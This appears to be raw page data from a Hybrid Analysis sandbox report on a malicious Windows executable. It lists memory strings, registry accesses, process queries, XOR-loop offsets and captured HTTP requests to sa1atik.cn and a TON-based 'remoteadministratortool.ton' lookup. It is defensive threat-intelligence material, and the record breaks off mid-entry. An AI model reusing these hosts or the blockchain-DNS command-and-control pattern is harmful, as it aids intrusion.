26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 46:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4e7,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Dump:Generic.Dacic.18086 Sample 5169d3ed9f74… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 5169d3ed9f74…. Malware family: Dump:Generic.Dacic.18086. Threat score 100/100. 15/27 AV engines flagged this file. 4 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7","keywords":["Malicious","Dump:Generic.Dacic.18086","malware analysis","sandbox report","threat intelligence","5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7"],"about":{"@type":"SoftwareApplication","name":"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe","applicationCategory":["peexe","executable"],"identifier":"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Dump:Generic.Dacic.18086","antivirusDetections":{"malicious":15,"total":27},"behavioralIndicators":{"malicious":4,"suspicious":22},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T478,Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00001124.00000000.264273.06000000.00000004.mdmp, 00000000-00001124.00000001.266193.06000000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00001124.00000000.264273.06000000.00000004.mdmp, 00000000-00001124.00000001.266193.06000000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-"; Source: "00000000-00001124.00000000.264273.06000000.00000004.mdmp, 00000000-00001124.00000001.266193.06000000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; Source: "00000000-00001124.00000000.264273.06000000.00000004.mdmp, 00000000-00001124.00000001.266193.06000000.00000004.mdmp")28:T11a3,"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\INPROCHANDLER32") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\INPROCHANDLER32") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\INPROCHANDLER") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\INPROCHANDLER") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\LOCALSERVER32") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\LOCALSERVER32") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\LOCALSERVER") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\LOCALSERVER") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\ELEVATION") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\ELEVATION") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\PROGID") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\PROGID") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\PROGID") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\PROGID") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\INTERFACE\{00020400-0000-0000-C000-000000000046}\PROXYSTUBCLSID32") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\INTERFACE\{00020400-0000-0000-C000-000000000046}\PROXYSTUBCLSID32") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\INTERFACE\{00020400-0000-0000-C000-000000000046}\PROXYSTUBCLSID32") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\INTERFACE\{00020400-0000-0000-C000-000000000046}\PROXYSTUBCLSID32") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{00020420-0000-0000-C000-000000000046}\INPROCSERVER32") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{00020420-0000-0000-C000-000000000046}\INPROCSERVER32") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{00020420-0000-0000-C000-000000000046}\INPROCHANDLER32") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{00020420-0000-0000-C000-000000000046}\INPROCHANDLER32") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{00020420-0000-0000-C000-000000000046}\INPROCHANDLER") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{00020420-0000-0000-C000-000000000046}\INPROCHANDLER")29:Tb1a,"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" queried SystemProcessInformation at 00000000-00001124-00000C15-3127437968 [PID: 1124] "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" queried SystemProcessInformation at 00000000-00001124-00000C15-3127446474 [PID: 1124] "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" queried SystemProcessInformation at 00000000-00001124-00000C15-3127615371 [PID: 1124] "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" queried SystemProcessInformation at 00000000-00001124-00000C15-3127624212 [PID: 1124] "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" queried SystemProcessInformation at 00000000-00001124-00000C15-3128136072 [PID: 1124] "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" queried SystemProcessInformation at 00000000-00001124-00000C15-3128143760 [PID: 1124] "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" queried SystemProcessInformation at 00000000-00001124-00000C15-3128299272 [PID: 1124] "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" queried SystemProcessInformation at 00000000-00001124-00000C15-3128307450 [PID: 1124] "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" queried SystemProcessInformation at 00000000-00001124-00000C15-3128747547 [PID: 1124] "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" queried SystemProcessInformation at 00000000-00001124-00000C15-3128755049 [PID: 1124] "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" queried SystemProcessInformation at 00000000-00001124-00000C15-3128943327 [PID: 1124] "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" queried SystemProcessInformation at 00000000-00001124-00000C15-3128951069 [PID: 1124] "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" queried SystemProcessInformation at 00000000-00001124-00000C15-3129588660 [PID: 1124] "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" queried SystemProcessInformation at 00000000-00001124-00000C15-3129596361 [PID: 1124] "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" queried SystemProcessInformation at 00000000-00001124-00000C15-3131473432 [PID: 1124] "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" queried SystemProcessInformation at 00000000-00001124-00000C15-3131480704 [PID: 1124] "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" queried SystemProcessInformation at 00000000-00001124-00000C15-3139145387 [PID: 1124] "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" queried SystemProcessInformation at 00000000-00001124-00000C15-3139152889 [PID: 1124]2a:T17dd,Contains base64 string in header "http" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 88Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "client/1" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 88Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "1Content" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 88Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "Type" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 88Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "streamAccept" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 88Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "Encoding" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 88Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "gzip" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 88Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "http" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 335Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "client/1" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 335Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "1Content" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 335Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "Type" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 335Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "streamAccept" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 335Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "Encoding" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 335Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "gzip" in header "GET /sa1at/ HTTP/1.1Host: sa1atik.cnUser-Agent: Go-http-client/1.1Content-Length: 335Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "http" in header "GET /v2/dns/remoteadministratortool.ton/resolve HTTP/1.1Host: tonapi.ioUser-Agent: Go-http-client/1.1Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "client/1" in header "GET /v2/dns/remoteadministratortool.ton/resolve HTTP/1.1Host: tonapi.ioUser-Agent: Go-http-client/1.1Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "1Content" in header "GET /v2/dns/remoteadministratortool.ton/resolve HTTP/1.1Host: tonapi.ioUser-Agent: Go-http-client/1.1Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "Type" in header "GET /v2/dns/remoteadministratortool.ton/resolve HTTP/1.1Host: tonapi.ioUser-Agent: Go-http-client/1.1Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "streamAccept" in header "GET /v2/dns/remoteadministratortool.ton/resolve HTTP/1.1Host: tonapi.ioUser-Agent: Go-http-client/1.1Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "Encoding" in header "GET /v2/dns/remoteadministratortool.ton/resolve HTTP/1.1Host: tonapi.ioUser-Agent: Go-http-client/1.1Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "gzip" in header "GET /v2/dns/remoteadministratortool.ton/resolve HTTP/1.1Host: tonapi.ioUser-Agent: Go-http-client/1.1Content-Type: application/octet-streamAccept-Encoding: gzip" Contains base64 string in header "POST" in header "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2Host: ton.access.orbs.networkUser-Agent: Go-http-client/2.0Content-Type: application/jsonAccept-Encoding: gzip" Contains base64 string in header "orbs" in header "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2Host: ton.access.orbs.networkUser-Agent: Go-http-client/2.0Content-Type: application/jsonAccept-Encoding: gzip" Contains base64 string in header "http" in header "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2Host: ton.access.orbs.networkUser-Agent: Go-http-client/2.0Content-Type: application/jsonAccept-Encoding: gzip" Contains base64 string in header "client/2" in header "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2Host: ton.access.orbs.networkUser-Agent: Go-http-client/2.0Content-Type: application/jsonAccept-Encoding: gzip" Contains base64 string in header "0Content" in header "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2Host: ton.access.orbs.networkUser-Agent: Go-http-client/2.0Content-Type: application/jsonAccept-Encoding: gzip" Contains base64 string in header "Type" in header "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2Host: ton.access.orbs.networkUser-Agent: Go-http-client/2.0Content-Type: application/jsonAccept-Encoding: gzip" Contains base64 string in header "Encoding" in header "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2Host: ton.access.orbs.networkUser-Agent: Go-http-client/2.0Content-Type: application/jsonAccept-Encoding: gzip" Contains base64 string in header "gzip" in header "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2Host: ton.access.orbs.networkUser-Agent: Go-http-client/2.0Content-Type: application/jsonAccept-Encoding: gzip"2b:T2dc6,Found XOR loop in file "sample.bin" at offset 74814; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 121447; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 170997; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 198317; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 224249; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 236192; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 659965; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 675022; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 751031; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1019578; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1061299; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1075829; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1079246; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1150358; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1269363; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1378098; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1398486; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1566708; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1627481; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1655505; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1661645; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1663247; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1663925; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1717959; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1782495; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1792936; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1812887; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1819828; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1868213; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1953802; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1976668; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1996198; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2031366; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2099860; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2150166; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2211477; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2278337; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2309185; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2349619; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2356462; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2401146; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2664108; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2864244; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3005040; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3036203; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3042511; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3066739; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3119342; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3333423; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3557938; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3584974; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 48491; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 57828; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 68245; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 79651; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 178343; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 185450; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 210788; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 311421; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 380799; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 426309; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 532945; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 666286; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 714459; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 850142; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 921683; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1007503; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1065802; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1092100; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1207762; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1230975; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1307981; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1437076; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1466531; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1491179; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1522819; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1631140; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1742654; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1781044; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1884933; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1895733; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1939859; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1996990; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2090413; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2173126; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2279796; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2280260; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2304205; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2354401; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2418476; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2445939; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2450514; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2478075; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2495302; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2555859; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2686065; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2758061; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2760998; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2952840; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2970610; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2980340; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3026156; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3146599; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3164425; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3170824; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3232775; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3417499; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3580057; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 19189; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 44175; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 189372; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 216055; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 226130; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 303724; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 418119; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 492197; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 768862; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 770486; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 785051; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 827271; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 845777; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 954604; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 986374; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1144756; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1187703; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1198927; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1448317; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1452174; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1459995; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1471098; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1563172; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1592737; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1953390; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1965870; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1966408; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1971206; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1977968; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2025434; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2071431; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2080154; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2419951; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2469338; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2478407; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2508636; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2746489; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2804748; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2821875; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2879203; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2939521; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2976475; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3019339; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3036356; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3039837; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3172427; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3378016; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3422779; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3449348; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3497982; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3537954; code bytes = 80302c:T12ce,"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "RtlGetVersion" with parameter 